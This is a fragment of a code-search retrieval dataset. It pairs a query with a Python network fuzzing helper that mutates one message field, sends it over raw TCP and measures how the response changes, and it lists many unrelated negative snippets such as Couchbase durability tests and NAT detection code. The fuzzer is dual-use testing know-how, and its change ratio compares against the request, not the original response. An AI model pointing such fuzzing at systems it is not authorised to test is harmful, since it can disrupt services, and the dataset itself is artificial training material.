1\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.56992763","0.5480785","0.5442786","0.53123915","0.52554893","0.5206114","0.5205962","0.5205437","0.5184168","0.5165345","0.5143179","0.5138992","0.51319814","0.5131829","0.509969","0.5086289","0.5083775","0.5062206","0.5027553","0.5012516","0.5002637","0.5001181","0.4961714","0.49613136","0.49417627","0.4936738","0.49099833","0.49057305","0.48940688","0.48827308","0.48536807","0.4850775","0.48429963","0.48367703","0.4831397","0.48306528","0.48273128","0.48153254","0.4808849","0.4783341","0.47786805","0.4760857","0.47601095","0.4759778","0.47536227","0.47534224","0.47431257","0.4740794","0.4740721","0.47067106","0.4702686","0.47006655","0.46957648","0.46901152","0.46874484","0.4684266","0.46753994","0.46710554","0.4667591","0.46674207","0.46649218","0.46644056","0.46564448","0.46521568","0.46489888","0.46383902","0.46341306","0.4625699","0.4620554","0.46188465","0.4602325","0.45989448","0.45925605","0.45890546","0.45881397","0.45848522","0.45836282","0.45797744","0.45771143","0.45654833","0.45654458","0.4563794","0.45619223","0.4559168","0.45531785","0.4532346","0.45281217","0.45239925","0.45171222","0.45158774","0.4501481","0.45005837","0.4499258","0.4493704","0.44902262","0.44896126","0.44863003","0.44832948","0.44823194","0.4479628"],"string":"[\n \"0.56992763\",\n \"0.5480785\",\n \"0.5442786\",\n \"0.53123915\",\n \"0.52554893\",\n \"0.5206114\",\n \"0.5205962\",\n \"0.5205437\",\n \"0.5184168\",\n \"0.5165345\",\n \"0.5143179\",\n \"0.5138992\",\n \"0.51319814\",\n \"0.5131829\",\n \"0.509969\",\n \"0.5086289\",\n \"0.5083775\",\n \"0.5062206\",\n \"0.5027553\",\n \"0.5012516\",\n \"0.5002637\",\n \"0.5001181\",\n \"0.4961714\",\n \"0.49613136\",\n \"0.49417627\",\n \"0.4936738\",\n \"0.49099833\",\n \"0.49057305\",\n \"0.48940688\",\n \"0.48827308\",\n \"0.48536807\",\n \"0.4850775\",\n \"0.48429963\",\n \"0.48367703\",\n \"0.4831397\",\n \"0.48306528\",\n \"0.48273128\",\n \"0.48153254\",\n \"0.4808849\",\n \"0.4783341\",\n \"0.47786805\",\n \"0.4760857\",\n \"0.47601095\",\n \"0.4759778\",\n \"0.47536227\",\n \"0.47534224\",\n \"0.47431257\",\n \"0.4740794\",\n \"0.4740721\",\n \"0.47067106\",\n \"0.4702686\",\n \"0.47006655\",\n \"0.46957648\",\n \"0.46901152\",\n \"0.46874484\",\n \"0.4684266\",\n \"0.46753994\",\n \"0.46710554\",\n \"0.4667591\",\n \"0.46674207\",\n \"0.46649218\",\n \"0.46644056\",\n \"0.46564448\",\n \"0.46521568\",\n \"0.46489888\",\n \"0.46383902\",\n \"0.46341306\",\n \"0.4625699\",\n \"0.4620554\",\n \"0.46188465\",\n \"0.4602325\",\n \"0.45989448\",\n \"0.45925605\",\n \"0.45890546\",\n \"0.45881397\",\n \"0.45848522\",\n \"0.45836282\",\n \"0.45797744\",\n \"0.45771143\",\n \"0.45654833\",\n \"0.45654458\",\n \"0.4563794\",\n \"0.45619223\",\n \"0.4559168\",\n \"0.45531785\",\n \"0.4532346\",\n \"0.45281217\",\n \"0.45239925\",\n \"0.45171222\",\n \"0.45158774\",\n \"0.4501481\",\n \"0.45005837\",\n \"0.4499258\",\n \"0.4493704\",\n \"0.44902262\",\n \"0.44896126\",\n \"0.44863003\",\n \"0.44832948\",\n \"0.44823194\",\n \"0.4479628\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.5758332"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80095,"cells":{"query":{"kind":"string","value":"diff_msg modify one field to value and get the difference with the original return False if timeout or the ratio of change"},"document":{"kind":"string","value":"def diff_msg(sym,fi,val,ip,port):\n orig=sym.getValues()[0]\n try:\n respOrig=sendTCP_raw_bytes(orig,ip,port)\n except socket.timeout:\n return False\n\n msg=b''\n for i in range(len(sym.fields)):\n msg+=sym.fields[i].getValues()[0] if fi!=i else val\n try:\n original = str(orig).partition(\"'\")[-1].rpartition(\"'\")[0] \n modified = str(msg).partition(\"'\")[-1].rpartition(\"'\")[0]\n print(\"The difference between original & \\\"modified\\\" REQUESTs:\")\n print(original)\n print(show_diff(original, modified))\n print()\n resp=sendTCP_raw_bytes(msg,ip,port)\n #print (\"Original response:\")\n #print (orig)\n #print (\"Fuzzed response:\")\n #print (resp)\n return (hamming_byte(resp,orig)/len(orig), orig, resp)\n except socket.timeout:\n return False"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def check_diff(self,game,wanted_diff,wanted_starting_time=''):\n return True","def _diff(self, param, diff):\n pass","def check_compare_decrease(out_fields):\n change = out_fields[CHANGE_FLD]\n expected_change = -25.00\n check_compare(change, expected_change)\n check_float_value(change, CHANGE_FLD)","def _are_value_different(self, old, new, key):\n\n if self.config.name in ['Amazon.com', 'Amazon.co.uk'] and key == 'price':\n old_price = float(sub('[^\\d.]+', '', old))\n new_price = float(sub('[^\\d.]+', '', new))\n different = not (0.98 < old_price / new_price < 1.02 or abs(old_price - new_price) < 5)\n return different, '%s from %s to %s' % (key, old, new)\n\n if key == 'description':\n diff = html_diff(old, new)\n if '<del>' in diff or '<del>' in diff:\n return True, diff\n else:\n return False, None\n\n return old != new, '%s from %s to %s' % (key, old, new)","def self_test_diff(message):\n global failed_tests\n\n if result != correct:\n failed_tests += 1\n print module_banner\n print \"test case failed, diff follows:\"\n print diff(correct, result)\n print","def diff(self, content):\n\n self.differ.set_seq2(self.make_hash_sequence(content))\n percent_diff = (1.0 - self.differ.ratio()) * 100.0\n percent_diff = 1 if 0 < percent_diff < 1 else int(round(percent_diff, 0))\n\n if percent_diff != 0 and len(content) < self.expected_length:\n percent_diff *= -1\n\n return percent_diff","def test_value_change(self):\n before = self.data.diffusion_data[:, :, 0, 0]\n after = module_05.run_module(self.data).diffusion_data[:, :, 0, 0]\n self.assertFalse(np.all(before == after))","def test_new_log_diff():\n assert get_clip(audlist, log, 1) != get_clip(audio['NTF'], log, 1)","def self_test_diff(message):\n global failed_tests\n\n if result != correct:\n failed_tests += 1\n print(module_banner)\n print(\"test case failed, diff follows:\")\n print(diff(correct, result))","def get_field_diff(self, field_name):\n return self.diff.get(field_name, None)","def get_field_diff(self, field_name):\n return self.diff.get(field_name, None)","def _fake_message_compare(m1, m2):\r\n m1 = m1.serialize()\r\n m2 = m2.serialize()\r\n diff = False\r\n for i in range(len(m1)):\r\n if m1[i] is None:\r\n continue\r\n if m1[i] != m2[i]:\r\n diff = True\r\n break\r\n return not diff","def check_compare_grow(out_fields):\n change = out_fields[CHANGE_FLD]\n expected_change = 50.00\n check_compare(change, expected_change)\n check_float_value(change, CHANGE_FLD)","def test_get_game_diff(self):\n pass","def test9(self):\n sig1 = np.array([0, 1, 0])\n sig2 = np.array([0, 0, 1, 0])\n d, p = EventSync.estimate_delay(sig1, sig2)\n self.assertTrue(d == -1)","def test4(self):\n sig1 = np.array([0, 1, 0])\n sig2 = np.array([0, 0, 1])\n d, p = EventSync.estimate_delay(sig1, sig2)\n self.assertTrue(d == -1)","def diff_measure(diff_function,measureA,measureB,obj,Qfilter=None,**options):\n\tresultA=diff_function(measure=measureA,obj=obj,Qfilter=Qfilter,**options)\n\tresultB=diff_function(measure=measureB,obj=obj,Qfilter=Qfilter,**options)\n\ttry:\n\t\tresult=resultA-resultB\n\texcept:\n\t\tresult=np.nan\n\treturn result","async def subtract(message, number1: ParamType.NUMBER, number2: ParamType.NUMBER):\n diff = number1 - number2\n return \"difference = \" + str(diff)","def test2(self):\n sig1 = np.array([0, 1, 0, 0])\n sig2 = np.array([0, 1, 0])\n d, p = EventSync.estimate_delay(sig1, sig2)\n self.assertTrue(d == 0)","def test_compare_security_log_report_in_interval(self, mock_send_cli_cmd):\n self.log.display_title(title=self.tool.get_current_function_name())\n self.log.step_num = 0\n msg = \"Compare in interval result\"\n response = [{'security-log-report-in-interval-all': '0',\n 'security-log-report-in-interval-denied': '0',\n 'security-log-report-in-interval-time': '2017-02-22T14:15:20'},\n {'security-log-report-in-interval-all': '0',\n 'security-log-report-in-interval-denied': '0',\n 'security-log-report-in-interval-time': '2017-02-22T14:15:30'}\n ]\n\n #mock_send_cli_cmd.return_value = self.xml.xml_string_to_dict(xml_str=response)\n self.log.display(level=\"INFO\", msg=\"get security log report in interval dict value\")\n result = self.ins.compare_security_log_report_in_interval(\n device=None,\n content=response,\n time=[\"2017-02-22T14:15:20\", \"2017-02-22T14:15:30\"],\n denied_number=[\"0\", \"0\"],\n all_number=[\"0\", \"0\"]\n )\n self.assertTrue(result)\n\n msg = \"Compare in interval result with error\"\n response = [{'security-log-report-in-interval-all': '0',\n 'security-log-report-in-interval-denied': '0',\n 'security-log-report-in-interval-time': '2017-02-22T14:15:20'},\n {'security-log-report-in-interval-all': '0',\n 'security-log-report-in-interval-denied': '0',\n 'security-log-report-in-interval-time': '2017-02-22T14:15:30'}\n ]\n\n #mock_send_cli_cmd.return_value = self.xml.xml_string_to_dict(xml_str=response)\n self.log.display(level=\"INFO\", msg=\"get security log report in interval dict value\")\n result = self.ins.compare_security_log_report_in_interval(\n device=None,\n content=response,\n time=[\"2017-02-22T14:15:20\", \"2017-02-22T14:15:50\"],\n denied_number=[\"0\", \"1\"],\n all_number=[\"2\", \"0\"]\n )\n self.assertFalse(result)","def get_diff(*args, **kwargs):\n return get_diff_async(*args, **kwargs).get_result()","def test_changed_status_text(self):\n scale = \"count\"\n metric1 = dict(\n type=\"metric_type\",\n name=\"Metric\",\n unit=\"units\",\n scale=scale,\n recent_measurements=[\n dict(count=dict(value=0, status=\"near_target_met\")),\n dict(count=dict(value=42, status=\"target_not_met\")),\n ],\n )\n metric2 = dict(\n type=\"metric_type\",\n name=\"Metric\",\n unit=\"units\",\n scale=scale,\n recent_measurements=[\n dict(count=dict(value=5, status=\"target_met\")),\n dict(count=dict(value=10, status=\"target_not_met\")),\n ],\n )\n metric_notification_data1 = MetricNotificationData(metric1, self.data_model, \"status_changed\")\n metric_notification_data2 = MetricNotificationData(metric2, self.data_model, \"status_changed\")\n notification = Notification(\n self.report, [metric_notification_data1, metric_notification_data2], \"destination_uuid\", {}\n )\n text = build_notification_text(notification)\n self.assertEqual(\n \"[Report 1](https://report1) has 2 metrics that are notable:\\n\\n\"\n \"* Metric status is red (target not met), was yellow (near target met). Value is 42 units, was 0 units.\\n\"\n \"* Metric status is red (target not met), was green (target met). Value is 10 units, was 5 units.\\n\",\n text,\n )","def delaydiff(delay, ant, rx=RX1MM, pol=POL1, subarray=DEFAULT) :\n if ( pol == POL1 ) :\n if ( rx == RX3MM ) :\n raise Exception, \"The delay difference for 3mm Rx Pol1 is zero by definition.\"\n elif ( rx == RX1MM ) :\n mp = \"Control.Antenna%d.rxDelay1mmPol1\"%ant\n elif ( rx == RX1CM ) :\n mp = \"Control.Antenna%d.rxDelay1cmPol1\"%ant\n else:\n raise Exception, \"Unrecognized receiver type\"\n elif ( pol == POL2 ) :\n if ( rx == RX3MM ) :\n mp = \"Control.Antenna%d.rxDelay3mmPol2\"%ant\n elif ( rx == RX1MM ) :\n mp = \"Control.Antenna%d.rxDelay1mmPol2\"%ant\n elif ( rx == RX1CM ) :\n mp = \"Control.Antenna%d.rxDelay1cmPol2\"%ant\n else:\n raise Exception, \"Unrecognized receiver type\"\n else:\n raise Exception, \"Unrecognized polarization value\"\n\n try :\n oldDelayDiff = queryDouble(mp, retries=0)\n if False: print \"Previous delay diff for antenna %d receiver %d pol %d was %7.3f nsec\" \\\n %(ant,rx,pol,oldDelayDiff)\n except: pass \n multiSubarray('delayDifference', subarray, delay, ant, rx, pol)","def test6(self):\n sig1 = np.array([0, 0, 0, 1])\n sig2 = np.array([0, 0, 1])\n d, p = EventSync.estimate_delay(sig1, sig2)\n self.assertTrue(d == 1)","def test8(self):\n sig1 = np.array([1, 0, 0, 0])\n sig2 = np.array([0, 1, ])\n d, p = EventSync.estimate_delay(sig1, sig2)\n self.assertTrue(d == -1)","def test_unchanged_status_text(self):\n scale = \"count\"\n metric1 = dict(type=\"metric_type\",\n name=\"Metric\",\n unit=\"units\",\n scale=scale,\n recent_measurements=[dict(count=dict(value=0,\n status=\"near_target_met\")),\n dict(count=dict(value=42,\n status=\"near_target_met\"))])\n metric2 = dict(type=\"metric_type\",\n name=\"Metric\",\n unit=\"units\",\n scale=scale,\n recent_measurements=[dict(count=dict(value=5,\n status=\"target_met\")),\n dict(count=dict(value=10,\n status=\"target_not_met\"))])\n metric_notification_data1 = MetricNotificationData(metric1, self.data_model, \"status_long_unchanged\")\n metric_notification_data2 = MetricNotificationData(metric2, self.data_model, \"status_long_unchanged\")\n notification = Notification(self.report, [metric_notification_data1,\n metric_notification_data2], \"destination_uuid\", {})\n text = build_notification_text(notification)\n self.assertEqual(\n \"[Report 1](https://report1) has 2 metrics that are notable:\\n\\n\"\n \"* Metric has been yellow (near target met) for three weeks. Value: 42 units.\\n\"\n \"* Metric has been red (target not met) for three weeks. Value: 10 units.\\n\",\n text)","def check_response_feedback_delays(data, **_):\n metric = np.nan_to_num(data[\"feedback_times\"] - data[\"response_times\"], nan=np.inf)\n passed = (metric < 0.01) & (metric > 0)\n assert data[\"intervals\"].shape[0] == len(metric) == len(passed)\n return metric, passed","def test_check_replication_warn_lag(self, mock_timestamp):\n base_url = 'http://localhost:6000/recon/'\n jdata = b'{\"replication_last\": 1493299546.629282, ' \\\n b'\"replication_stats\": {\"no_change\": 0, \"rsync\": 0, ' \\\n b'\"success\": 0, \"failure\": 0, \"attempted\": 0, \"ts_repl\": 0, ' \\\n b'\"remove\": 0, \"remote_merge\": 0, \"diff_capped\": 0, ' \\\n b'\"start\": 1493299546.621624, \"hashmatch\": 0, \"diff\": 0, ' \\\n b'\"empty\": 0}, \"replication_time\": 0.0076580047607421875}'\n pmock_jdata = PropertyMock(return_value=jdata)\n mock_timestamp.return_value = (MagicMock(days=0, seconds=5), 0)\n with patch('urllib.request.urlopen') as mock_urlopen:\n mock_urlopen.return_value = MagicMock(read=pmock_jdata)\n result = check_replication(base_url, [4, 10, 4, 10])\n self.assertEqual(result,\n [(STATUS_WARN,\n \"'{}' replication lag is \"\n \"5 seconds\".format(repl))\n for repl in ('account', 'object', 'container')])","def w_print_diff(self, message, d1, d2, expectedResult=None):\n print(\"Message: '%s'\" % message)\n print(\"Message length: %d\" % len(message))\n if expectedResult:\n print(\"%-48s (expected)\" % self._format(expectedResult))\n print(\"%-48s (Std. lib. MD5)\" % self._format_hex(d1))\n print(\"%-48s (Pure Python MD5)\" % self._format_hex(d2))\n print()","def annotate_diff(desc, stdout_e, stdout_a, stdout_e_strp, stdout_a_strp):\n id_str= \"%s_\" % desc\n result[id_str + \"stdout_expected\"] = stdout_e\n result[id_str + \"stdout_actual\"] = stdout_a\n result[id_str + \"stdout_expected_stripped\"]= stdout_e_strp\n result[id_str + \"stdout_actual_stripped\"] = stdout_a_strp\n result[id_str + \"stripped_diff\"] = '\\n'.join( difflib.ndiff( stdout_e_strp.splitlines(),\n stdout_a_strp.splitlines() ))\n result.fail(\"Expected standard output from %s does not match actual output.\" % desc)","def _badness(self, time):\n return (time - self.expected_time)**2","def test5(self):\n sig1 = np.array([0, 0, 1])\n sig2 = np.array([0, 1, 0])\n d, p = EventSync.estimate_delay(sig1, sig2)\n self.assertTrue(d == 1)","def check_compare(change, reference_value):\n rounded_change = round(change, 2)\n compare_values(reference_value, rounded_change)","def test7(self):\n sig1 = np.array([0, 0, 1])\n sig2 = np.array([0, 1, 0, 0])\n d, p = EventSync.estimate_delay(sig1, sig2)\n self.assertTrue(d == 1)","def test3(self):\n sig1 = np.array([0, 1, 0])\n sig2 = np.array([0, 1, 0, 0])\n d, p = EventSync.estimate_delay(sig1, sig2)\n self.assertTrue(d == 0)","def checkSame(comment, value, expected, update=True):\n res = value == expected\n if update:\n if res:\n results[\"pass\"] += 1\n else:\n print(\"checking string\",comment,'|',value,\"!=\",expected)\n results[\"fail\"] += 1\n return res","def test_delta_in_diff(self):\n xk = 1 * self.ureg.kelvin\n yk = 2 * self.ureg.kelvin\n yf = yk.to('degF')\n yc = yk.to('degC')\n self.assertEqual(yk - xk, 1 * self.ureg.kelvin)\n self.assertEqual(yf - xk, 1 * self.ureg.kelvin)\n self.assertEqual(yc - xk, 1 * self.ureg.kelvin)","def test_setDeadlineTwice(self):\n self.session.setDeadline(10.0)\n self.session.setDeadline(9.0)\n decreased = self.session.getRemainingTime()\n self.session.setDeadline(11.0)\n still_decreased = self.session.getRemainingTime()\n self.assertEqual((decreased, still_decreased), (9.0, 9.0))","def test1(self):\n sig1 = np.array([0, 1, 0])\n sig2 = np.array([0, 1, 0])\n d, p = EventSync.estimate_delay(sig1, sig2)\n self.assertTrue(d == 0)","def delta_test(self, mappings):\r\n\r\n # Calculate differences.\r\n mapping_no = len(mappings)\r\n differences = []\r\n for i in range(0, mapping_no):\r\n # Overflow.\r\n if i + 1 >= mapping_no:\r\n break\r\n differences.append(mappings[i + 1][\"remote\"] -\r\n mappings[i][\"remote\"])\r\n differences = list(set(differences))\r\n\r\n # Record delta pattern results.\r\n delta = 0\r\n for difference in differences:\r\n \"\"\"\r\n Calculate matches relative to each number for each difference.\r\n The matches are relative to mappings[i]\r\n \"\"\"\r\n masked = []\r\n for i in range(0, mapping_no):\r\n matches = 0\r\n for j in range(0, mapping_no):\r\n # This is ourself.\r\n if i == j:\r\n continue\r\n\r\n # Use value of mappings[i] to derive test value\r\n # for mappings[j].\r\n if i > j:\r\n # How many bellow it?\r\n test_val = mappings[i][\"remote\"] -\\\r\n (difference * (i - j))\r\n else:\r\n # How many above it?\r\n test_val = mappings[i][\"remote\"] +\\\r\n (difference * (j - i))\r\n\r\n # Pattern was predicted for relative comparison so\r\n # increment matches.\r\n if test_val == mappings[j][\"remote\"]:\r\n matches += 1\r\n\r\n # Matches parses the minimum threshold so these don't count\r\n # as collisions.\r\n if matches + 1 > self.port_collisions:\r\n masked.append(mappings[i][\"remote\"])\r\n\r\n # Check number of collisions satisfies delta requirement.\r\n collision_no = mapping_no - len(masked)\r\n if collision_no > self.port_collisions:\r\n continue\r\n if collision_no == int(mapping_no) / 2 and not mapping_no % 2:\r\n \"\"\"\r\n This means there's no way to be sure. The number of\r\n collisions can be just as high as the number of\r\n \"successes\", in which case it's a stalemate.\r\n \"\"\"\r\n continue\r\n delta = difference\r\n break\r\n\r\n if delta:\r\n nat_type = \"delta\"\r\n else:\r\n nat_type = \"random\"\r\n\r\n ret = {\r\n \"nat_type\": nat_type,\r\n \"delta\": delta\r\n }\r\n\r\n return ret","def test_calculate_time_difference():\n first_position = 1\n second_position = 1235\n difference = race.calculate_time_difference(first_position, second_position)\n assert type(difference) == str\n assert \":\" in difference and \".\" in difference\n first_position_random = random.randint(10000, 99999)\n second_position_random = random.randint(10000, 99999)\n difference_random = race.calculate_time_difference(first_position_random, second_position_random)\n assert type(difference_random) == str\n assert \":\" in difference_random and \".\" in difference_random","def test_compare_difference_string_faster(self):\n test_algorithm = 'bubble'\n test_algorithm_time = 2\n test_sorted_time = 4\n result = calculate_compare_time_difference(test_algorithm_time, test_sorted_time, test_algorithm)\n self.assertEqual('bubble was 2 seconds faster.', result)","def test_timeout_with_crud_failures(self):\n\n # Local methods to validate vb_seqno\n\n def compare_vb_stat(stat_1, stat_2, vb, comparison=\"!=\"):\n keys_to_check = [\"high_seqno\", \"high_completed_seqno\"]\n result = True\n for key in keys_to_check:\n if vb in stat_1.keys():\n if stat_1[vb][\"uuid\"] != stat_2[vb][\"uuid\"]:\n self.log_failure(\"Mismatch in vb-%s UUID. %s != %s\"\n % (vb, stat_1[vb][\"uuid\"],\n stat_2[vb][\"uuid\"]))\n if comparison == \"!=\":\n if stat_1[vb][key] != stat_2[vb][key]:\n result = False\n self.log.warning(\n \"Mismatch in vb-%s stat %s. %s != %s\"\n % (vb, key, stat_1[vb][key], stat_2[vb][key]))\n elif stat_1[vb][key] == stat_2[vb][key]:\n result = False\n self.log.warning(\"Stat not updated for vb-%s stat %s. \"\n \"%s == %s\"\n % (vb, key,\n stat_1[vb][key], stat_2[vb][key]))\n return result\n\n def validate_vb_seqno_stats():\n \"\"\"\n :return retry_validation: Boolean denoting to retry validation\n \"\"\"\n retry_validation = False\n vb_info[\"post_timeout\"][node.ip] = \\\n cbstat_obj[node.ip].vbucket_seqno(self.bucket.name)\n for tem_vb_num in range(self.cluster.vbuckets):\n tem_vb_num = str(tem_vb_num)\n if tem_vb_num not in affected_vbs:\n if compare_vb_stat(vb_info[\"init\"][node.ip],\n vb_info[\"post_timeout\"][node.ip],\n tem_vb_num) is False:\n self.log_failure(\"Unaffected vb-%s stat\" % tem_vb_num)\n elif int(tem_vb_num) in target_nodes_vbuckets[\"active\"]:\n if compare_vb_stat(vb_info[\"init\"][node.ip],\n vb_info[\"post_timeout\"][node.ip],\n tem_vb_num) is False:\n self.log.warning(\"%s - mismatch in %s vb-%s seq_no\"\n % (node.ip, \"active\", tem_vb_num))\n elif int(tem_vb_num) in target_nodes_vbuckets[\"replica\"]:\n if compare_vb_stat(vb_info[\"init\"][node.ip],\n vb_info[\"post_timeout\"][node.ip],\n tem_vb_num, comparison=\"==\") is False:\n retry_validation = True\n self.log.warning(\"%s - mismatch in %s vb-%s seq_no\"\n % (node.ip, \"replica\", tem_vb_num))\n return retry_validation\n\n shell_conn = dict()\n cbstat_obj = dict()\n error_sim = dict()\n target_nodes_vbuckets = dict()\n vb_info = dict()\n tasks = dict()\n doc_gen = dict()\n affected_vbs = list()\n\n target_nodes_vbuckets[\"active\"] = []\n target_nodes_vbuckets[\"replica\"] = []\n vb_info[\"init\"] = dict()\n vb_info[\"post_timeout\"] = dict()\n vb_info[\"afterCrud\"] = dict()\n\n # Override crud_batch_size to minimum value for testing\n self.crud_batch_size = 5\n self.key = \"test_collections\"\n self.sdk_timeout = 3\n\n # Select target vbucket type to load_docs\n target_vb_type = \"replica\"\n if self.simulate_error == CouchbaseError.STOP_PERSISTENCE \\\n and self.durability_level \\\n == Bucket.DurabilityLevel.MAJORITY_AND_PERSIST_TO_ACTIVE:\n target_vb_type = \"active\"\n\n # Create required scope/collection for successful CRUD operation\n if self.scope_name != CbServer.default_scope:\n self.scope_name = self.bucket_util.get_random_name()\n self.collection_name = self.bucket_util.get_random_name()\n self.log.info(\"Creating scope::collection %s::%s\"\n % (self.scope_name, self.collection_name))\n self.create_scope_collection()\n\n # Load docs into created collection\n self.log.info(\"Loading data into created collection\")\n load_gen = doc_generator(self.key, 0, self.num_items)\n task = self.task.async_load_gen_docs(\n self.cluster, self.bucket, load_gen, \"create\", 0,\n scope=self.scope_name,\n collection=self.collection_name,\n sdk_client_pool=self.sdk_client_pool,\n batch_size=200, process_concurrency=8,\n timeout_secs=60)\n self.task_manager.get_task_result(task)\n if self.subdoc_test:\n load_gen = sub_doc_generator(self.key, 0, self.num_items/2)\n task = self.task.async_load_gen_sub_docs(\n self.cluster, self.bucket,\n load_gen, Bucket_Op.SubDocOps.INSERT,\n timeout_secs=self.sdk_timeout,\n compression=self.sdk_compression,\n path_create=True,\n batch_size=100,\n process_concurrency=8,\n durability=self.durability_level,\n scope=self.scope_name, collection=self.collection_name,\n sdk_client_pool=self.sdk_client_pool)\n self.task_manager.get_task_result(task)\n\n self.bucket.scopes[self.scope_name].collections[\n self.collection_name].num_items = self.num_items\n\n target_nodes = DurabilityHelper.getTargetNodes(self.cluster,\n self.nodes_init,\n self.num_nodes_affected)\n for node in target_nodes:\n shell_conn[node.ip] = RemoteMachineShellConnection(node)\n cbstat_obj[node.ip] = Cbstats(node)\n target_nodes_vbuckets[\"active\"] += \\\n cbstat_obj[node.ip].vbucket_list(self.bucket.name,\n vbucket_type=\"active\")\n target_nodes_vbuckets[\"replica\"] += \\\n cbstat_obj[node.ip].vbucket_list(self.bucket.name,\n vbucket_type=\"replica\")\n vb_info[\"init\"][node.ip] = cbstat_obj[node.ip].vbucket_seqno(\n self.bucket.name)\n error_sim[node.ip] = CouchbaseError(self.log, shell_conn[node.ip])\n\n curr_time = int(time.time())\n expected_timeout = curr_time + self.sdk_timeout\n\n if target_vb_type == \"active\":\n target_vbs = list(\n set(target_nodes_vbuckets[target_vb_type])\n .difference(set(target_nodes_vbuckets[\"replica\"])))\n else:\n target_vbs = list(\n set(target_nodes_vbuckets[target_vb_type])\n .difference(set(target_nodes_vbuckets[\"active\"])))\n\n # Create required doc_generators\n doc_gen[\"create\"] = doc_generator(self.key, self.num_items,\n self.crud_batch_size,\n target_vbucket=target_vbs)\n doc_gen[\"delete\"] = doc_generator(self.key, 0,\n self.crud_batch_size,\n target_vbucket=target_vbs)\n doc_gen[\"read\"] = doc_generator(\n self.key, int(self.num_items/3),\n self.crud_batch_size,\n target_vbucket=target_vbs)\n doc_gen[\"update\"] = doc_generator(\n self.key, int(self.num_items/2),\n self.crud_batch_size,\n target_vbucket=target_vbs)\n\n # Create required subdoc generators\n doc_gen[\"insert\"] = sub_doc_generator(\n self.key, int(self.num_items/2), self.crud_batch_size,\n target_vbucket=target_vbs)\n doc_gen[\"upsert\"] = sub_doc_generator_for_edit(\n self.key, 0, self.crud_batch_size,\n template_index=1,\n target_vbucket=target_vbs)\n doc_gen[\"remove\"] = sub_doc_generator(\n self.key, 0, self.crud_batch_size,\n target_vbucket=target_vbs)\n\n # Perform specified action\n for node in target_nodes:\n error_sim[node.ip].create(self.simulate_error,\n bucket_name=self.bucket.name)\n self.sleep(5, \"Wait for error_simulation to take effect\")\n\n ops_to_perform = [Bucket_Op.DocOps.CREATE, Bucket_Op.DocOps.UPDATE,\n Bucket_Op.DocOps.READ, Bucket_Op.DocOps.DELETE]\n if self.subdoc_test:\n ops_to_perform = [Bucket_Op.SubDocOps.INSERT,\n Bucket_Op.SubDocOps.UPSERT,\n Bucket_Op.SubDocOps.REMOVE]\n\n for op_type in ops_to_perform:\n self.log.info(\"Starting doc op %s\" % op_type)\n if op_type in Bucket_Op.DOC_OPS:\n tasks[op_type] = self.task.async_load_gen_docs(\n self.cluster, self.bucket, doc_gen[op_type], op_type, 0,\n scope=self.scope_name,\n collection=self.collection_name,\n sdk_client_pool=self.sdk_client_pool,\n batch_size=1, process_concurrency=8,\n durability=self.durability_level,\n timeout_secs=self.sdk_timeout,\n suppress_error_table=True,\n print_ops_rate=False,\n skip_read_on_error=True)\n else:\n tasks[op_type] = self.task.async_load_gen_sub_docs(\n self.cluster, self.bucket, doc_gen[op_type], op_type, 0,\n scope=self.scope_name,\n collection=self.collection_name,\n sdk_client_pool=self.sdk_client_pool,\n path_create=True,\n batch_size=1, process_concurrency=8,\n durability=self.durability_level,\n timeout_secs=self.sdk_timeout,\n print_ops_rate=False)\n\n self.task.jython_task_manager.get_task_result(tasks[op_type])\n\n # Validate task failures\n if op_type == Bucket_Op.DocOps.READ:\n # Validation for read task\n if len(tasks[op_type].fail.keys()) != 0:\n self.log_failure(\"Read failed for few docs: %s\"\n % tasks[op_type].fail.keys())\n else:\n # Validation of CRUDs - Update / Create / Delete\n for doc_id, crud_result in tasks[op_type].fail.items():\n vb_num = self.bucket_util.get_vbucket_num_for_key(\n doc_id, self.cluster.vbuckets)\n if SDKException.DurabilityAmbiguousException \\\n not in str(crud_result[\"error\"]):\n self.log_failure(\n \"Invalid exception for doc %s, vb %s: %s\"\n % (doc_id, vb_num, crud_result))\n\n # Revert the specified error scenario\n for node in target_nodes:\n error_sim[node.ip].revert(self.simulate_error,\n bucket_name=self.bucket.name)\n\n # Check whether the timeout triggered properly\n if int(time.time()) < expected_timeout:\n self.log_failure(\"Timed-out before expected time\")\n\n for op_type in ops_to_perform:\n if op_type == Bucket_Op.DocOps.READ:\n continue\n while doc_gen[op_type].has_next():\n doc_id, _ = doc_gen[op_type].next()\n affected_vbs.append(\n str(self.bucket_util.get_vbucket_num_for_key(\n doc_id,\n self.cluster.vbuckets)))\n\n affected_vbs = list(set(affected_vbs))\n # Fetch latest stats and validate the seq_nos are not updated\n for node in target_nodes:\n retry_count = 0\n max_retry = 3\n while retry_count < max_retry:\n self.log.info(\"Trying to validate vbseq_no stats: %d\"\n % (retry_count+1))\n retry_count += 1\n retry_required = validate_vb_seqno_stats()\n if not retry_required:\n break\n self.sleep(5, \"Sleep for vbseq_no stats to update\")\n else:\n # This will be exited only if `break` condition is not met\n self.log_failure(\"validate_vb_seqno_stats verification failed\")\n\n self.validate_test_failure()\n\n # Get SDK Client from client_pool\n sdk_client = self.sdk_client_pool.get_client_for_bucket(\n self.bucket,\n self.scope_name,\n self.collection_name)\n\n # Doc error validation\n for op_type in ops_to_perform:\n task = tasks[op_type]\n\n if self.nodes_init == 1 \\\n and op_type != Bucket_Op.DocOps.READ \\\n and len(task.fail.keys()) != (doc_gen[op_type].end\n - doc_gen[op_type].start):\n self.log_failure(\"Failed keys %d are less than expected %d\"\n % (len(task.fail.keys()),\n (doc_gen[op_type].end\n - doc_gen[op_type].start)))\n\n # Create table objects for display\n table_view = TableView(self.log.error)\n ambiguous_table_view = TableView(self.log.info)\n table_view.set_headers([\"Key\", \"vBucket\", \"Exception\"])\n ambiguous_table_view.set_headers([\"Key\", \"vBucket\"])\n\n # Iterate failed keys for validation\n for doc_key, doc_info in task.fail.items():\n vb_for_key = self.bucket_util.get_vbucket_num_for_key(doc_key)\n\n if SDKException.DurabilityAmbiguousException \\\n not in str(doc_info[\"error\"]):\n table_view.add_row([doc_key, vb_for_key,\n doc_info[\"error\"]])\n\n ambiguous_table_view.add_row([doc_key, str(vb_for_key)])\n if op_type not in 